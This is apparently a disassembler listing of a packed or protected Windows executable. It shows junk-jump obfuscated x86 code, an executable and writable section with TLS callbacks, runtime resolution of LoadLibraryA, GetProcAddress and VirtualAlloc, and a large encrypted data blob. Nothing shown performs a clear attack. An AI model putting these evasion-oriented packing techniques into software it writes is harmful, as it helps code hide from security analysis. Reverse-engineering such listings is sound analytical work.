		jmp	loc_75449D
sub_757799	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749D35


loc_7577AB:				; CODE XREF: sub_749D35+Fj
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_749D35

; =============== S U B	R O U T	I N E =======================================



sub_7577AC	proc near		; CODE XREF: sub_74F08D-28C7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0075252C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756BE7 SIZE 0000001B BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		call	sub_74A83D


loc_7577BB:				; CODE XREF: sub_74ADC0+Cj
		jmp	loc_756BE7
sub_7577AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7470E8


loc_7577C0:				; CODE XREF: sub_7470E8+1Cj
		jmp	loc_74E4D0
; END OF FUNCTION CHUNK	FOR sub_7470E8
; ---------------------------------------------------------------------------


loc_7577C5:				; CODE XREF: _0z4jwtox:0074DF04j
		jns	loc_747C8B
		mov	ebp, [eax]
		jmp	sub_750887
; ---------------------------------------------------------------------------
		cmp	edi, 0D3AAF32Bh
		jmp	loc_7508BE
; ---------------------------------------------------------------------------


loc_7577DD:				; CODE XREF: _0z4jwtox:00755F99j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_7577DE	proc near		; CODE XREF: sub_749EC9+7p

; FUNCTION CHUNK AT 007565A4 SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	ecx
		push	0E68A2806h
		pop	ecx
		jmp	loc_7565A4
sub_7577DE	endp

; ---------------------------------------------------------------------------


loc_7577EF:				; DATA XREF: sub_746640+DECCo
		mov	edx, [edx]
		push	esi
		push	0EE36995Bh
		pop	esi
		rol	esi, 1Dh
		jmp	loc_7495BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_757800:				; CODE XREF: sub_747736:loc_748206j
		push	9B317540h
		pop	ebx
		rol	ebx, 0Ah
		or	ebx, 5773633Ah
		cmp	ebx, 0D7E40E7Dh
		jmp	loc_74D4A4
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_75781A:				; CODE XREF: sub_74E762-67CAj
		pop	edx
		ror	eax, 1
		add	eax, 53498B15h
		push	esi
		push	0BE2D446Eh
		pop	esi
		or	esi, 0FF321672h
		cmp	esi, 29000490h
		jmp	loc_7564B6
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_75783B:				; CODE XREF: sub_74F73B:loc_74A5D9j
		jz	loc_749F44
		jle	loc_749E60
		ja	loc_75388E
		jg	loc_748A9C
		cdq
		jmp	loc_749F3E
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------


loc_757859:				; CODE XREF: _0z4jwtox:00749418j
		sub	edi, 1D1C310Fh
		jp	loc_75528C
		jmp	loc_756EDA
; ---------------------------------------------------------------------------
		add	ebx, 0E720A14Bh
		adc	edx, esi
		jmp	sub_746FBD
; ---------------------------------------------------------------------------


loc_757877:				; CODE XREF: _0z4jwtox:loc_74D83Ej
		jz	loc_749731
		adc	ebp, eax


loc_75787F:				; CODE XREF: _0z4jwtox:00745E63j
		jmp	loc_74972F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749229


loc_757884:				; CODE XREF: sub_749229-3FB8j
		call	sub_746C25
		push	offset loc_74DA08
		jmp	loc_74765C
; END OF FUNCTION CHUNK	FOR sub_749229
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_757893:				; CODE XREF: sub_7571A1:loc_75677Aj
					; _0z4jwtox:00756795j
		or	ebx, 0C08C246Bh
		add	ebx, 2A28405h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_7571A1
		jmp	loc_755BDA
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------


loc_7578AD:				; CODE XREF: _0z4jwtox:00752247j
					; _0z4jwtox:loc_753C36j
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		lea	eax, dword_746E88
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_745E3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_7578C2:				; CODE XREF: sub_746640:loc_74BBB4j
		add	ecx, esi
		jmp	loc_751288
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_7578C9:				; CODE XREF: sub_7543C5-856Fj
		test	ecx, 4C0467AAh
		jmp	loc_756418
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747892


loc_7578D4:				; CODE XREF: sub_747892:loc_752E9Fj
		mov	[ebp+var_4], eax
		push	3FA014C7h
		pop	eax
		add	eax, 8B1C7458h
		and	eax, 0B3F7DF14h
		add	eax, 0DE7DA4F2h
		jmp	loc_755402
; END OF FUNCTION CHUNK	FOR sub_747892

; =============== S U B	R O U T	I N E =======================================



sub_7578F4	proc near		; CODE XREF: _0z4jwtox:00751F85p
					; _0z4jwtox:007534EFj

; FUNCTION CHUNK AT 007454D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748445 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00755CA2 SIZE 00000006 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_748445
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_755CA2
sub_7578F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	edx, ebx
		jmp	sub_747109
; ---------------------------------------------------------------------------
		dw 2B91h
		dd 0CE9A4829h, 8A6FB8Fh, 177F4306h, 0CBF8h, 1B6h dup(0)
_0z4jwtox	ends

; Section 6. (virtual address 00358000)
; Virtual size			: 0002A000 ( 172032.)
; Section size in file		: 0002A000 ( 172032.)
; Offset to raw	data for section: 00358000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0xtwbvzc	segment	para public 'CODE' use32
		assume cs:_0xtwbvzc
		;org 758000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 80h,	35h, 0
		align 8
		dd 0FFFFFFFFh, 35803Ch,	3580B4h, 358108h, 0
		dd 0FFFFFFFFh, 3580E8h,	358104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_7580B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_7580B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_7580BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_7580C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_781A9E+6Cr
dword_7580C4	dd 7C809A51h, 7C809AE4h, 35804Ch, 358060h, 358070h, 358084h
; resolved to->KERNEL32.VirtualAlloc					; DATA XREF: _0xtwbvzc:00781B6Eo
		dd 358094h, 3580A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h,	7E45058Ah, 3580F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: _0xtwbvzc:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: _0xtwbvzc:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_75813E:				; CODE XREF: _0xtwbvzc:00758155j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_758154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_758154:				; CODE XREF: _0xtwbvzc:00758144j
		dec	ecx
		jg	short loc_75813E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset sub_401000
		dd 0D800434Ah, 1, 717E0000h, 3CA420D5h,	1334CC09h, 5AAF0C89h
		dd 91405845h, 1BBDB9D2h, 7FE4DFC3h, 0B8F8B67Fh,	810BE67h
		dd 0A27A0C84h, 0F8502020h, 3D002B44h, 0C78D48D4h, 3FC0B056h
		dd 0A591C2DDh, 0D4634203h, 9FEBE9Fh, 35BE881h, 0B459595h
		dd 426367F1h, 33FB0221h, 92093223h, 0F04C60F8h,	8702CDD7h
		dd 81D4B559h, 0F6A346FEh, 0BCAD2444h, 45186C1Ch, 2D84A04Ah
		dd 2E087C12h, 0BD9AC81Ah, 0B341C4A9h, 0ABF5C92Ah, 6C249404h
		dd 9D5EE6B2h, 99F6090Ah, 380DD50Eh, 4527EB25h, 0A6005E53h
		dd 5766119Dh, 114BCFCFh, 2B4427AAh, 4372E7F5h, 0A2110826h
		dd 2E90C1CCh, 0F4B4C2F0h, 0B54070A4h, 7A99F5E4h, 0C6D66BF5h
		dd 0C9C02B41h, 0F9CD8E40h, 0F8338202h, 0F8214307h, 506489A2h
		dd 4DE0F84Eh, 9510B519h, 0D4315AA0h, 61016CA9h,	230337D3h
		dd 26B9BCE6h, 6E3DA68Dh, 6C582296h, 62EE1750h, 54A27B89h
		dd 9AA2B08Bh, 9C62CC1Dh, 6C2C86B5h, 2873FCC2h, 0FBD004B0h
		dd 0D2068042h, 442BBh, 60314EA6h, 7713AB0h, 85F7EB05h
		dd 96D88900h, 81992838h, 60827EDFh, 0FCD4DCC0h,	0B45ED9F7h
		dd 4890986Ch, 0F32AD3h,	0C05140FBh, 8F80B089h, 0C5A2203h
		dd 0B2D9AC19h, 9091A4BEh, 0A87A143h, 0EBAA30FAh, 80FAE605h
		dd 910F5A36h, 0D1A8C38Ah, 28E95CE2h, 99384549h,	9AAFB7C9h
		dd 88123798h, 0D46BD183h, 0F143213Eh, 7115A580h, 82348EF4h
		dd 43353B6h, 6AC50690h,	0D29BF150h, 837FBF58h, 200A83EDh
		dd 22A08032h, 3ED94C5h,	461344F2h, 0F118200Ah, 0E6E278B1h
		dd 1AADCC80h, 1B2DA550h, 0F44EFC0Ch, 13C2514Ah,	8BF2AA7Bh
		dd 0F834B7FAh, 7A7E0377h, 55DBEDD0h, 0E17ADFE9h, 417EF381h
		dd 0F6032A20h, 0F1C165D6h, 0AEDE2Fh, 0AEC3F3C4h, 937C166Eh
		dd 0CFF8283h, 4140C2E9h, 2E88065h, 0C039EC04h, 5772772Ah
		dd 64608CC4h, 48180D46h, 3188C8B6h, 65AA3B00h, 0ECB0C680h
		dd 0FCDE40B2h, 0F655722Ch, 9847F048h, 0D5349694h, 0D16D01DEh
		dd 0F8115ABEh, 0B31A43B7h, 11659CCAh, 0BC5A2A58h, 0F8FC8485h
		dd 88C8A607h, 16EB1F12h, 0DA32D4A1h, 0AA2022B2h, 0C5ACC5A5h
		dd 0E06B6EA6h, 0B39EA131h, 101A2278h, 44875D25h, 0F45F2C41h
		dd 0E6C1B00h, 8CE5F8D7h, 1C7F21Fh, 53893832h, 2D6A9276h
		dd 61097397h, 585C4AACh, 2C40786Eh, 0A3086189h,	0B0DA38B2h
		dd 40F18E17h, 0C31529E4h, 0BC2B6A4Fh, 5C3A704Ah, 9256AB52h
		dd 0AB8EFD6Fh, 2015A756h, 30120492h, 7F013A1Ah,	0DF88C631h
		dd 48E705AAh, 4801205Ah, 22B76119h, 58444A5Eh, 8CB34157h
		dd 993CA983h, 2AC11B84h, 0D8B90354h, 8A5DCB28h,	0A80D8C2Ch
		dd 3D0A6076h, 0CA0F6026h, 0DFFF6592h, 56F8E4CFh, 0A6F15FAFh
		dd 0C1A96E4Ah, 5F22791h, 0DED1B55Ah, 2341B38Dh,	71B63FCFh
		dd 0DC6F71BBh, 0CE0AF54h, 0C958B13Bh, 0BF979EB4h, 6EAC71D7h
		dd 94125AFBh, 4CCA5BFAh, 3273248Ah, 5D648E04h, 1C1B7DEEh
		dd 4CD1576h, 0C6C868ECh, 1B2C20C3h, 8B5D2ECFh, 19E57FFAh
		dd 1A77790Fh, 78265D33h, 57A8E8E6h, 0A75C83E9h,	0E575626Eh
		dd 0DE44D150h, 77559E5Ch, 0FF225146h, 375EC0C8h, 0ACD11E8Ch
		dd 61955D6Ah, 67F76311h, 20A10BC6h, 7A18AD4Bh, 7D0AD5A5h
		dd 0AA79F4E8h, 6C5CBB82h, 1E059A1Fh, 836AD553h,	602080B8h
		dd 0B4ACF07Dh, 7D256960h, 5D0E0526h, 0E0743352h, 7CA2F8ACh
		dd 0A23821F8h, 0C6829415h, 0B432F481h, 0E355F830h, 368F2F69h
		dd 23099D4Bh, 0ECC408h,	67BE05F2h, 98F045Dh, 0FD716025h
		dd 0E7A445FFh, 3055E600h, 74998A1Dh, 0DD8EF525h, 108D39A4h
		dd 0A56C0F8Eh, 0D8160360h, 37AE4C77h, 8B68AB0Fh, 96AF30DEh
		dd 3F38AB95h, 0C247ED18h, 569D2C16h, 1F7FE964h,	2BF4E80Ah
		dd 137BCE22h, 7C0506D6h, 4551EA8Eh, 4EFB36D0h, 7E91551Ah
		dd 891535C6h, 5362A840h, 1152FC31h, 1842F961h, 144FB47Fh
		dd 2AEA5109h, 65009CB1h, 33F801B1h, 0D0829147h,	8E49E592h
		dd 60B79452h, 645512D2h, 40587049h, 0B44B9468h,	94B4841Bh
		dd 52AB14E1h, 30B2C78Bh, 338B8942h, 296482AEh, 13C338C6h
		dd 0FA35AF8h, 93733C8Eh, 71B4A174h, 719F0BFAh, 390BEC07h
		dd 2656D845h, 416D93ECh, 88AB8E64h, 245155A3h, 4C2A8E74h
		dd 3A2078BDh, 1F0677B1h, 83039C22h, 4A9984CBh, 0D7D887D9h
		dd 5222DF00h, 6114BC39h, 0D70349A4h, 0C4D8F622h, 75F808DEh
		dd 0AFB1FA39h, 6E7D2F0Ch, 99C86BC2h, 0A3D1102Ah, 88B6458Dh
		dd 0D0FAE49Ch, 62F11534h, 24360B8Fh, 116846DBh,	24BC8878h
		dd 90F4825Eh, 7F888979h, 0A90F7A68h, 6E2E9227h,	33CE82F0h
		dd 0A04245C1h, 87054Eh,	0E6F22968h, 0D0E06604h,	5DE49DA1h
		dd 8B712E4Bh, 25C07BF0h, 18BF108Ah, 646045BFh, 19B944Dh
		dd 925A3735h, 4C33DC5Ch, 8BA76508h, 36B51045h, 23D8B741h
		dd 43E14501h, 0DBD887C1h, 0CABA7255h, 10F08FDCh, 0D1517E77h
		dd 0F4F555D8h, 0CB927255h, 4FBE3236h, 9D18A9B0h, 0FC9D88E4h
		dd 0EB92D22Dh, 1BF0F1AFh, 1A638721h, 301186A1h,	0FA23F54Fh
		dd 4D4524FCh, 0A61CED20h, 5C9C907h, 7D14A735h, 34F07A6h
		dd 0D4C9DA81h, 0BC06B81Fh, 0FB489F6Eh, 83389616h, 33B672E4h
		dd 0BB175862h, 268E0709h, 3BDA3D56h, 938BF5DFh,	5991B2E0h
		dd 0E4BF96CEh, 0C3D76E01h, 87311135h, 4D87B3B5h, 5AA3E91Dh
		dd 711F425Bh, 809BF153h, 0A8853C1Bh, 9AE51F47h,	1C73116Ah
		dd 0B459EF73h, 0D823EBA9h, 0A7F59FB4h, 4AF3EA06h, 4597313h
		dd 0C86738D8h, 79169B80h, 0C7D00556h, 9AA6DE26h, 3604A9B8h
		dd 4AECF9A4h, 71C90E01h, 2568214Ah, 0B4D70005h,	0DAE92E63h
		dd 0EA9EAA82h, 0FCF0FC3h, 276797A5h, 0C224C2E6h, 10BA6A00h
		dd 0AEF63D60h, 0B8FDF610h, 513B81C3h, 6B9E3477h, 0E0F9D749h
		dd 31828DF0h, 3E039728h, 5EF59596h, 6565C3C1h, 8593C59Bh
		dd 79C0CAF5h, 4240C0B3h, 0BAC4198Ah, 0C7ED61E4h, 0C18316BCh
		dd 9B3DDCF5h, 1038401Bh, 0B7A06F53h, 999CFDFBh,	62B4EF5Ah
		dd 5568152Fh, 0E7D588A2h, 0F64DBE28h, 0E53E5EFBh, 605E747Eh
		dd 1057087Dh, 887ABAE3h, 0D7048476h, 9DBE789h, 9F54F154h
		dd 7D11E08Fh, 719E0C22h, 0CE20CFB3h, 286F0018h,	47F0FDC6h
		dd 0C417E80h, 4E69081Ah, 0B69B7D20h, 0F7960C8h,	1E301A12h
		dd 4BED2581h, 3DE1529Dh, 0F3F097C0h, 5418D604h,	64398750h
		dd 67BCCFCAh, 887B5C6Ah, 279BA8Bh, 5F1EBDEBh, 0E260DE64h
		dd 0DAFF04Dh, 4D785DCFh, 0C4FE69AFh, 2268A8B9h,	0A3C1A744h
		dd 0BACE8B7Dh, 0B2F7D2F6h, 3369362Eh, 54A03A5h,	89DF2FD6h
		dd 0CA69F71Dh, 0AA44B47Ah, 0E22E639Fh, 21B891C8h, 493BF2A2h
		dd 6AF9DA40h, 0DE020CD5h, 67E4D3EBh, 8DDEA340h,	56545A4Bh
		dd 7A52B8C1h, 8282B2BEh, 0ECF9D82Ch, 64FA14CFh,	0CF9B0E95h
		dd 8F0DACB9h, 0BF4A5A63h, 208AE670h, 0D53B2A8h,	0ED7E7107h
		dd 1B17F0ADh, 0F4B3306Eh, 0F25DDFE3h, 697594CFh, 13A0C8EAh
		dd 29D4EC3Ah, 8E843537h, 0CDB00912h, 3A13EC30h,	3C51E03Fh
		dd 3559F741h, 4D1574E8h, 4EE069E0h, 0FAB93D4Ch,	9B84BC84h
		dd 1CB28E8Bh, 998421EEh, 8DA533F3h, 0A194FD9Dh,	110A9419h
		dd 42C0685Eh, 0FE2D2F81h, 9746980Eh, 1535045h, 341B8CB3h
		dd 776A8CE6h, 0A114B194h, 0F8269EEEh, 0C178160Dh, 752F3B56h
		dd 114E1815h, 76FA5C61h, 7784F1C2h, 0DED3A73h, 60D78A18h
		dd 2F0B541Bh
		dd 503C5E36h, 18765802h, 0BB45B6A5h, 30B222Eh, 3AF3F05Eh
		dd 5CEE4512h, 333A3BD7h, 4CAA2F87h, 50620497h, 0BA1FA559h
		dd 0D1613187h, 0BC4347C1h, 20891185h, 88667E37h, 3AD7F5h
		dd 8747CF2Ch, 9F6B3D92h, 1104165Eh, 0CA712242h,	0DDFFBFE2h
		dd 68004E35h, 2F119A61h, 0AD233AA1h, 6B8D49C9h,	3E758A15h
		dd 1C6504CAh, 7522A379h, 0D961C665h, 5D650956h,	1463DE79h
		dd 0DFE22115h, 0C4F31ABh, 6ED8BC72h, 8B021F08h,	0BEB2B04Dh
		dd 0F3D2DB54h, 1C9063F9h, 769287CDh, 2AD61863h,	0DE844E80h
		dd 9F615886h, 0F10B7F0h, 0BDBB882Ch, 46593DB0h,	5EFEAC11h
		dd 1C1DD026h, 0A5A9B17Ch, 6EA68208h, 24862022h,	7F8972B9h
		dd 310A0CE1h, 51DCA1E9h, 8E1E33F8h, 3AA73174h, 0DC74B511h
		dd 0A1366B2Bh, 57A080E2h, 0D8BE298Eh, 0F0A18527h, 4EDC3084h
		dd 766A0E7Fh, 0B146C080h, 9082C529h, 7C10A827h,	25C6AC84h
		dd 2336FB5Dh, 7A4890ABh, 7A11A10Ch, 81F1033Fh, 20A840CDh
		dd 4C4D8082h, 2675F5D2h, 4150EC54h, 0A201F581h,	2138AEF0h
		dd 9C10A0D1h, 0F56733F3h, 6A7A557Bh, 0BCEC0766h, 43534C46h
		dd 0F3D51403h, 0EC7A1463h, 59C8A46Bh, 0F3BC67DBh, 8F1FBFC3h
		dd 78193A59h, 6BFF8A1h,	89972295h, 160071BAh, 150603D6h
		dd 6B50B017h, 2B2C851h,	50CA7EEh, 0FF76798Ah, 0A39E441Fh
		dd 0F5C62D8Dh, 70422F36h, 0FC42B8C7h, 800DA3C1h, 40E73100h
		dd 0A814C5E0h, 63450341h, 0BECA8601h, 1B033405h, 9951CB7Eh
		dd 98D0EC7h, 30424D2h, 562DA6FEh, 52B82214h, 0A7B110CCh
		dd 22C437Fh, 0B9408051h, 49E033E0h, 0A2836955h,	0A7D2BB4h
		dd 85FFE834h, 918C0D14h, 3EAD0CDEh, 2D005F38h, 0B4B0A909h
		dd 0D5C97209h, 558708E3h, 807F4594h, 8E5BC945h,	8307C78Dh
		dd 8660F189h, 5105C870h, 0A2F46429h, 1F59F298h,	0E01AF46Fh
		dd 0FF4FA804h, 0EE12C310h, 3530B195h, 0AA6A8B80h, 0B61BF008h
		dd 8825E0C3h, 354D6114h, 90D030Ah, 35BFC699h, 0A486088Bh
		dd 774370D9h, 15E73302h, 0E65BF60Eh, 0EB063DB5h, 0E8523024h
		dd 0BB3C5567h, 0CFAF3700h, 9BECEA6Fh, 8F996C93h, 55D5421Fh
		dd 1C22BE45h, 3F870F4Ah, 0CAAC77C7h, 25C9281h, 9DB9874h
		dd 1CFD083Ch, 0E54004E0h, 0C217DF2Fh, 2EC28380h, 9682182h
		dd 9C9C35AAh, 0B54B9847h, 0D13803FDh, 608A540Eh, 0EDDF60FEh
		dd 3DC3249Dh, 0EA0F1184h, 13DC6A3Eh, 0A1F8D6AAh, 491E4B0Eh
		dd 0D8A45A2h, 0AD7A6F26h, 0E2139820h, 9040019Eh, 0C0C040Ch
		dd 65AB95ABh, 68DC7218h, 0FB60C08Dh, 608A4846h,	62A289C0h
		dd 54442556h, 8200D544h, 21047011h, 1AECBDA2h, 0C85D78FDh
		dd 0B039EF01h, 0EA78D66h, 16144060h, 1128F296h,	0A3607019h
		dd 79FC68B5h, 0C18135E0h, 0E479ACE3h, 0B679BE09h, 200583E8h
		dd 5B6EE7B2h, 734CA4A1h, 4FB3071Dh, 369E95DFh, 0B3FA8A7Ah
		dd 24176C8Ch, 52FB056Ah, 0C03E38h, 3AA910E0h, 0EDAD6ECCh
		dd 0A3266D00h, 597DBBAh, 0F32A284Ch, 0D160EB45h, 1477D9F8h
		dd 0C0134079h, 778063h,	0E2236F73h, 0A38D04Eh, 0EB57019h
		dd 8B89DE0h, 0B5051E30h, 6EC20DABh, 8A2E4195h, 1AD5ED3Eh
		dd 6B1B287Dh, 0FF1802B4h, 0C02DCD80h, 106B329Ch, 72135D21h
		dd 0CF7CE27h, 283BBE0Bh, 31DE118h, 81EA809Ah, 6360862Eh
		dd 1A817B86h, 22702E2Dh, 38C067FCh, 2B8E10FAh, 13349F06h
		dd 93BF277Ch, 0F84F88C7h, 998482B7h, 88DBBF09h,	0E2387732h
		dd 2C848470h, 8AF665C7h, 77851405h, 4F5C2406h, 4610A910h
		dd 0CA713984h, 66694570h, 5D149917h, 7D5C5350h,	6606C80Dh
		dd 7F84A997h, 4CB5C1D9h, 1A025F65h, 0B5FC012Dh,	7DE85713h
		dd 83ED01A9h, 80552701h, 42144F01h, 275371C3h, 0ECFDFB6Ah
		dd 0C6C2E284h, 2C4AD622h, 0C512B8A9h, 2BEB49D5h, 222E0933h
		dd 48658838h, 119E97F1h, 56775978h, 0F834A1E0h,	1582A2B3h
		dd 0ABA298D0h, 4434541Eh, 540BB287h, 0D4453D74h, 1A6902A2h
		dd 21F78F46h, 0F8145D16h, 0E824EC46h, 9B6206C4h, 95FA050Ah
		dd 0D085CB5Ch, 0B2EB09A7h, 2ED29597h, 8F530799h, 0E3323512h
		dd 316F5665h, 0FDE7FB47h, 0B84CC00Dh, 0C041A10Dh, 8BF46D1Fh
		dd 0EAF85D3Eh, 0EC6DBC14h, 7353DAF4h, 0D034106h, 208A6252h
		dd 798EFDAh, 20FA96A3h,	16A2BAECh, 26FFF959h, 0DC1F06E8h
		dd 846EA872h, 0DBF51291h, 0EAF2AA65h, 7617CEF7h, 355794D9h
		dd 150BF8A0h, 1D56A804h, 8E215CA5h, 310E62A4h, 10D974EBh
		dd 0CAD980B9h, 0E1ABC06Ah, 0B4D80D8Ah, 0A41C8Dh, 0B4423272h
		dd 0B3CC2748h, 414623EFh, 6290DF97h, 20344941h,	0A826723Ch
		dd 20235F02h, 6C002CBh,	1825F3F5h, 43255F7Ch, 0E4810D31h
		dd 2C58877Ah, 7538C561h, 1BE31E53h, 0B6943E08h,	671F99DFh
		dd 0E4BDEE43h, 83132A0Bh, 39DD58E7h, 4CC10A81h,	0C923AA83h
		dd 0B4FF2351h, 48AD4BA6h, 14EA02B2h, 88FF17F0h,	0EBB93C5Bh
		dd 25989836h, 4D47B6A5h, 0E449AA2Ch, 8968FA66h,	4571C82Fh
		dd 0D8562311h, 6D0D56A5h, 0CA40522Bh, 0CD17291Eh, 0B9C299E9h
		dd 0E1C7A959h, 77159763h, 0B03734A5h, 0F2E83300h, 0F35F0187h
		dd 3B9AA99h, 457D8079h,	2981412Dh, 2A6E7120h, 5745D50h
		dd 62211094h, 0EE391ABh, 0D069D80Bh, 8B564C85h,	28346290h
		dd 0FBEA3ECDh, 768C8B4Eh, 0C429E119h, 0D1C662DBh, 1C1FCB27h
		dd 24E3DF7Eh, 0C1F8498Dh, 332D23CAh, 0A9BF607Fh, 529C3062h
		dd 0B010295h, 94F10FCCh, 14DFE19Fh, 7C4040F1h, 843E6024h
		dd 861AF208h, 8172035Dh, 0E20BF11Ah, 3E488203h,	321F9ED4h
		dd 101D4182h, 3FB02969h, 90062073h, 41E33840h, 81674F72h
		dd 1F803BE3h, 135ABEEDh, 0F9ECD17Dh, 15801C0Fh,	39546CABh
		dd 6D3AAA29h, 0A34E1A8Ch, 4B91935Eh, 0D2EEBEh, 0AA2B36B6h
		dd 88E82DB8h, 1E0801CBh, 78D3F712h, 2B226DBBh, 38949AE5h
		dd 2D531317h, 503BAC05h, 9D75D0E0h, 6ED803B2h, 8E53F8ABh
		dd 480A7FABh, 2686788Eh, 88322A8Ah, 566B39D8h, 6B1A896Ch
		dd 9157406Fh, 4A870980h, 7830A825h, 55362826h, 23160A58h
		dd 0E8DC4102h, 4C3467E8h, 0A945964Ch, 0C8828802h, 0A0B24F11h
		dd 847993F5h, 0A67DD840h, 65871493h, 0A27AB525h, 2381A12Ah
		dd 0E3179612h, 6974E9ECh, 0AB2FFE34h, 0B3C92936h, 0ADA64463h
		dd 78F43BFDh, 197C9440h, 0DF2E507Eh, 3BC8A919h,	6317EB02h
		dd 68169CD7h, 2D1F4818h, 0CAB5A8D4h, 3B2205A3h,	0E50A5DDBh
		dd 35D08322h, 5B3893BEh, 6D563BA0h, 6EE40D5Dh, 6B606AC4h
		dd 0E01DF235h, 0ED4ACC8Fh, 868F451Ah, 9248FE2Bh, 0D2F39AAh
		dd 1F8E2A18h, 97C373F4h, 85BB6E5Bh, 68C799D6h, 0AD09A08Bh
		dd 682381ABh, 0D7CF810Dh, 8C86217Eh, 49287A5Bh,	1BC68C0Eh
		dd 95626646h, 0D0097005h, 0B5FE8AD1h, 8F9050C0h, 559CD120h
		dd 8E04DD05h, 0CBC1A38Ch, 0E99C6591h, 50FF4230h, 462EC47Ch
		dd 2989D3FAh, 1D4C10B0h, 208DA6A8h, 95B30DD0h, 0D49AAC2Fh
		dd 0FE61ADC6h, 0F2868BEDh, 0D5067ED0h, 7CD3C416h, 8D86CE1h
		dd 0C63BB8Ah, 4E7BBEC6h, 0F7CD21F8h, 0B5D45865h, 86AFAB3Dh
		dd 967D0189h, 753D956Ch, 0EE6F93DCh, 0C58DD174h, 2B8045ABh
		dd 550934AFh, 91AD8188h, 542E3B02h, 5617E87Bh, 0CA65B40Ch
		dd 0A6268607h, 0B51198BFh, 6116CBE0h, 402D586Dh, 4A5E59A9h
		dd 0A2297446h, 76A375F8h, 8E7AF879h, 11276310h,	0AEB0E6B8h
		dd 0CA257E12h, 1861E61Dh
		dd 2EBA33D7h, 6B1EA1F8h, 7EDBC498h, 0F9BD3448h,	885DE075h
		dd 0FE259512h, 0C56AA3D1h, 54548F3h, 0EFA50AF3h, 0FC67FA60h
		dd 0B9012050h, 0B048EBFCh, 0B41B2B39h, 0A2A5D0Dh, 41671AD8h
		dd 122BBCEAh, 479655A5h, 7FEC4711h, 0F6B3EE3Fh,	3811C223h
		dd 0FFE03188h, 0AB8D80D1h, 0B4512C01h, 80B701B5h, 0D0B853FCh
		dd 42D04B19h, 1A57093Fh, 3BE187C5h, 0A26B4631h,	0E17BDDE0h
		dd 9E2FF8E7h, 0A9037769h, 1C21F6A0h, 4546BF42h,	0FDF1E5Fh
		dd 914A6241h, 0F2DC5124h, 0A2F19D41h, 8B6C8185h, 0A0C0AB01h
		dd 45F5890h, 965A4927h,	0D314A7F9h, 8C4188Bh, 0BA8A5C8Fh
		dd 0CAC221FBh, 0F9073F1Bh, 0EDF58CCAh, 0EE0B22FDh, 3433755Eh
		dd 56FD7E67h, 81411731h, 30A77ECEh, 0F19C4A6Ch,	1738C257h
		dd 1471DD62h, 39C619A0h, 38BEA88Fh, 0BBD3C7FEh,	57D59h
		dd 2067A4E5h, 0A8B896A2h, 0F3BFEBBCh, 0A0785DA7h, 818885D4h
